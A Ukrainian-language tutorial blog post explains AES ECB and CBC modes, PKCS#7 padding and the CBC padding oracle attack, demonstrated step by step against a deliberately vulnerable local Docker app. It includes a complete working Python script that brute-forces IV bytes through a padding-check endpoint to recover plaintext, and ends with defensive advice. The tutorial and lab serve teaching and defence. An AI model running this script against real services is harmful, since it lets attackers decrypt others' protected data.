Padding Oracle Attack

Сьогодні ми розберемо класичну CBC Padding Oracle Attack (PKCS#7). Перед тим як почати розбиратися з нею важливо зрозуміти як працює AES, раджу прочитати мою статтю про AES.

AES ECB

Я вже писав статтю про AES, в якій розписав як він працює і показав як написати його самостійно, якщо ви додали шифрування декількох блоків то ваша реалізація швидше за все працює в режимі ECB: В цьому режимі блоки ніяк не зв’язані один з одним і при шифруванні двох однакових блоків ми отримаємо два однакових шифротексти:

Відкритий текст:

AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

Шифротекст:

b1dbd1ac2fc54c8991e1bed33b427c8f
b1dbd1ac2fc54c8991e1bed33b427c8f

Цей режим не можна використовувати в реальних системах, бо він ніяк не захищає наступні блоки.

AES CBC

Більш цікавим є режим CBC, який використовують в реальних системах.

Для його використання нам потрібен вектор ініціалізації, який повинен бути унікальним для кожного повідомлення.

Перед шифруванням першого блоку ми робимо XOR вхідного тексту з IV, в наступних блоках ми робимо XOR вхідного тексту з шифротекстом минулого блоку.

Таким чином ми зв’язуємо наші блоки і вони вже не будуть давати однакові шифротексти для однакових блоків:

700b238595f1f3a39a906d9910b0dff6
9b34143cad793d5fff0f4ae043646fbe

Розшифрування буде робитися за такою схемою:

З цим режимом теж є свої особливості, напишу окрему статтю про нього, зараз ми сконцентруємось лише на Padding Oracle Attack.

Головне, щоб при його використанні ви використовували випадковий IV для кожного повідомлення і не використовували ключ в якості IV.

IV не обовʼязково повинен бути секретним, ми можемо передавати його разом з шифротекстом, але в такому випадку слід покладатися на AEAD чи MAC.

Якщо ж зловмисник може змінювати дані і наша система це не перевіряє, це дає змогу відновити шифротекст за допомогою Padding Oracle Attack.

$$I_n = D(C_n, K) \\[4pt] P_1 = D(C_1, K) \oplus IV\\[4pt] P_n = I_n \oplus C_\text{n-1} \\[4pt]$$

де:

• K - ключ
• P - відкритий текст
• C - шифротекст
• I - це шифротекст після декодування але до XOR з IV/C

PKCS#7

Блокові шифри (AES, DES тощо) вимагають, щоб довжина даних була кратною розміру блоку.

PKCS#7 визначає спосіб доповнення даних (padding).

Довжину padding можна обчислити за такою формулою:

$$\text{paddingLen} = B - (P \mod B)$$

Де:

• B - Довжина блоку
• P - Довжина вхідного тексту

Наприклад якщо ми використовуємо блок стандартної довжини 16 байт та текст довжиною 14 байт:

$$\text{paddingLen} = 16 - (14 \mod 16) = 2$$

Нам потрібно додати два байти доповнення, кожен з яких має значення paddingLen:

41 41 41 41 41 41 41 41 41 41 41 41 41 41 02 02

Для тексту розміром 16 байт буде створений додатковий блок:

41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10

При розшифруванні беремо останній байт і видаляємо стільки байт скільки вказано в останньому за умови що вони однакові.

Padding Oracle Attack

Якщо система надає нам можливість явно відрізнити помилку padding від інших, вона дозволяє відновити відкритий текст без знання ключа.

Нам не важливо як вона проявляється:

• Відповідь в форматі padding error
• 500-й статус код від сервера
• Різний час для отримання відповіді (timing attack)

Головне, щоб ми могли відрізнити помилку padding від інших.

Також для використання цієї проблеми нам потрібен оракул (endpoint з повідомленням про padding error) з можливістю передавати туди модифікований шифротекст та IV.

Ця вразливість актуальна і на сьогоднішній день, багато розробників створює системи не замислюючись про безпеку.

Як це працює?

Крок 1

За шифротекст (C) ми візьмемо шифротекст потрібного нам блоку, а за IV, у випадку якщо це перший блок - IV, інакще для наступних блоків шифротекст (C) минулого блоку.

Нам потрібно вносити зміни в останній байт доки він не пропустить padding.

Коли ми отримали валідну відповідь, ми тепер знаємо що:

$$\text{P[-1]} = \text{I[-1]} \oplus \text{IV′[-1]} = 01$$

де:

• IV′ - змінений нами IV

Тут ми розглянемо атаку лише в сценарії коли ми отримаємо лише один валідний байт, якщо в відкритому тексті буде 01.

Більш цікаві випадки я вирішив винести в окрему статтю, наприклад якщо метод unpad буде виглядати приблизно так:

def unpad(plaintext: bytearray, block_size: int) -> bytearray:
    padding_length = plaintext[-1]

    if 1 <= padding_length <= block_size:
        return plaintext[:-padding_length]

    raise PaddingError

Це більш складна атака, тому сьогодні будемо атакувати endpoint де коректно реалізований метод unpad і працює за таким принципом:

1. Отримує останній байт з відкритого тексту (paddingLength)
2. Перевіряє останні байти які потрапляють в діапазон plaintext[blockSize-paddingLength:-1]
3. Якщо вони всі мають значення paddingLength - видаляє їх, якщо ні - padding error

На псевдокоді це можна зобразити так:

def unpad(plaintext: bytearray, block_size: int) -> bytearray:
    padding_length = plaintext[-1]

    if padding_length < 1 or padding_length > block_size:
        raise PaddingError

    text_end = block_size - padding_length

    for b in plaintext[-padding_length:]:
        if b != padding_length:
            raise PaddingError

    return plaintext[:-padding_length]

Ця реалізація створена лише для ознайомлення, вона вразлива до timing-attack, в реальних застосунках краще покладатися на вже готові бібліотеки.

Крок 2

Можемо відновити значення в проміжному стані:

$$\text{I[-1]} = \text{IV′[-1]} \oplus 01$$

Тепер ми хочемо змусити відкритий текст виглядати так:

... 02 02

Для цього потрібно встановити останній байт в IV, так щоб в відкритому тексті він був 02:

$$\text{P[-1]} = 02 \\[4pt] \text{IV`[-1]} = \text{I[-1]} \oplus \text{P[-1]} \\[4pt] \Downarrow \\[4pt] \text{IV`[-1]} = \text{I[-1]} \oplus 02$$

Крок 3

Перебираємо передостанній байт IV (IV’[-2]) доки padding знову не буде валідний.

Коли ми знайшли вірний байт, нам потрібно записати його в проміжний стан для цього повертаємось на крок 2 і починаємо шукати наступні байти не забуваючи змінювати IV.

Робимо це доки не закінчеться блок.

Загальний цикл

Весь цикл буде виглядати так:

$$\text{paddingLen} = 16 - \text{i} \\[10pt] \text{Для всіх j > i:} \\[2pt] \text{IV'[j]} = \text{I[j]} \oplus \text{paddingLen} \\[15pt] \text{Перебираємо IV'[i] від `00` до `ff`} \\ \text{Коли отримаємо padding valid:} \\[3pt] \text{I[i]} = \text{IV'[i]} \oplus \text{paddingLen} \\[15pt] \text{Переходимо до наступного байту}$$

Фінальний крок

Ми повністю зламали блок, можемо відновити відкритий текст:

$$P = I \oplus IV$$

Якщо в нас залишилися ще блоки переходимо до них.

Розглянемо атаку на прикладі

Для цього розділу я створив вразливий застосунок, на якому ми можемо потренуватися - посилання на GitHub.

Для запуску:

git clone https://github.com/LD31D/padding-oracle-attack-app.git
cd padding-oracle-attack-app

docker build -t padding-oracle .
docker run -p 5834:5834 padding-oracle

Застосунок буде доступен за адресою - http://127.0.0.1:5834.

відправляємо GET-запит на /get-message/ та отримаємо відповідь в форматі json:

{
  "ciphertext": "5383e38dc0695210c033ed07bf364abc",
  "iv": "9130609c99217366ad50d36b554ad866"
}

На запуску застосунок створює випадковий ключ, тому у вас ці дані можуть не працювати, я надаю лише приклад такої атаки яку ви самі зможете відтворити.

Ми нічого не знаєм про текст який там був зашифрований, нам потрібно підбирати останній байт в IV.

Окрім значення 66, потрібно перебрати 255 - 1 = 254 значень.

Для цього будемо посилати POST-запити на /check-padding/ з json вмістом:

{
  "ciphertext": "5383e38dc0695210c033ed07bf364abc",
  "iv": "9130609c99217366ad50d36b554ad8xx"
}

Починаємо перебір останнього байту від 00 до ff, окрім значення 66.

Я отримав відповідь ok ({"ok": true}), при байті 6d:

{
  "ciphertext": "5383e38dc0695210c033ed07bf364abc",
  "iv": "9130609c99217366ad50d36b554ad86d"
}

Значить що:

$$\text{I[-1]} \oplus \text{IV`[-1]} = 01 \\[4pt] \Downarrow \\[4pt] \text{I[-1]} = 6d \oplus 01 = 6c$$

Тепер ми можемо визначити який байт стоїть на останній позиції в відкритому тексті:

$$\text{P[-1]} = \text{I[-1]} \oplus \text{IV[-1]} \\[4pt] \Downarrow \\[4pt] \text{P[-1]} = 6c \oplus 66 = 0a$$

Останній байт в відкритому тексті - 0a, це значить що padding дорівнює 10, а розмір нашого 16 - 10 = 6 байт.

Переходимо до другого байту з кінця:

$$IV'[-1] = 66 \oplus 0a = 6c$$

Будемо підбирати другий байт з кінця:

... xx 6c

На 209 спробі знаходимо, що при d0 ми отримаємо ok:

{
  "ciphertext": "5383e38dc0695210c033ed07bf364abc",
  "iv": "9130609c99217366ad50d36b554ad06d"
}

Тепер нам потрібно поступово збільшувати padding, підбираючи кожен байт:

$$\text{IV'[j]} = \text{I[j]} \oplus \text{paddingLen}$$

Напишемо для цього скрипт.

Скрипт

import urllib.request
import json

BASE_URL = 'http://127.0.0.1:5834'


def is_valid_padding(iv: bytearray, ciphertext: bytearray) -> bool:
    payload = {
        'iv': iv.hex(),
        'ciphertext': ciphertext.hex()
    }

    request = urllib.request.Request(
        f'{BASE_URL}/check-padding',
        data=json.dumps(payload).encode('utf-8'),
        headers={'Content-Type': 'application/json'}
    )

    response = urllib.request.urlopen(request)
    response_data = response.read()
    response_json = json.loads(response_data)
    return response_json['ok']


def main():
    message_data = {
	"ciphertext": "5383e38dc0695210c033ed07bf364abc",
	"iv": "9130609c99217366ad50d36b554ad866"
}

    iv = bytearray.fromhex(message_data['iv'])
    ciphertext = bytearray.fromhex(message_data['ciphertext'])

    print("[+] IV:", iv.hex())
    print("[+] Ciphertext:", ciphertext.hex())
    print()

    original_iv = iv.copy() # Save original IV for plaintext recovery
    plaintext = bytearray(16) # To store recovered plaintext
    intermediate = bytearray(16) # To store intermediate bytes

    for i in range(15, -1, -1):
        print(f"[+] Byte {i+1}: Checking padding validity...")

        pad = 16 - i

        # Set up the bytes for padding
        for j in range(i+1, 16):
            iv[j] = intermediate[j] ^ pad

        # Try all possible byte values
        for guess in range(256):
            # Skip the original byte value
            if pad == 1 and guess == original_iv[i]:
                continue

            iv[i] = guess

            # Check if the padding is valid
            if is_valid_padding(iv, ciphertext):
                print(f"[+] Found byte: {guess:02x} (padding: {pad})")
                intermediate[i] = guess ^ pad # Calculate intermediate byte
                plaintext[i] = intermediate[i] ^ original_iv[i] # Calculate plaintext byte
                print(f"[+] Byte: {plaintext[i]:02x}\n")
                break
        else:
            print("[!] Failed to find a valid padding byte!")
            return

    # Output the recovered plaintext
    print("[+] Plaintext (hex):", plaintext.hex())

    pad_len = plaintext[-1]
    print("[+] Plaintext (ascii):", plaintext[:-pad_len].decode('utf-8', errors='ignore').strip())


if __name__ == '__main__':
    main()

В результаті отримаємо відкритий текст в форматі Hex:

46596c3c6c5c0a0a0a0a0a0a0a0a0a0a

Якщо видалемо padding та переведемо до ASCII, отримаємо:

FYl<l\

Перевіремо коректність, відправив POST-запит на /check-message/ з вмістом у форматі Json:

{
  "ciphertext": "5383e38dc0695210c033ed07bf364abc",
  "iv": "9130609c99217366ad50d36b554ad866",
  "message": "FYl<l\\"
}

Та отримаємо відповідь:

{
  "ok": true
}

Це значить що ми успішно зламали шифротекст.

Рекомендації для захисту

Щоб захистити наш застосунок від подібних атак нам потрібно:

1. Використовувати AEAD режими (AES-GCM, ChaCha20-Poly1305) або ж Encrypt-then-MAC за умови його безпечної реалізації, це захистить наш шифротекст та IV від змін.
2. Прибрати можливість отримання padding error. Зловмисник не повинен знати коли і на якому етапі відбулась помилка.
3. Додати rate limiter, це не дозволить перевантажувати нашу систему подібними запитами.

Резюме

Сьогодні ми зрозуміли як працює padding, AES в режимі CBC, розібралися з Padding Oracle Attack.

Спробуйте самостійно виконати Завдання для самоперевірки, це дозволить закріпити вивчений матеріал.

Завдання для самоперевірки

1. Запустіть padding-oracle-attack-app
2. Спробуйте самостійно повторити описані кроки та відновити початкове повідомлення.
3. Спробуйте відтворити цю атаку для шифротекстів з більшою кількістю блоків, для цього укажіть довжину повідомлення в запиті на отримання тексту (/get-message/?length=38).
4. Переробіть скрипт або напишіть власний для зламу декількох блоків.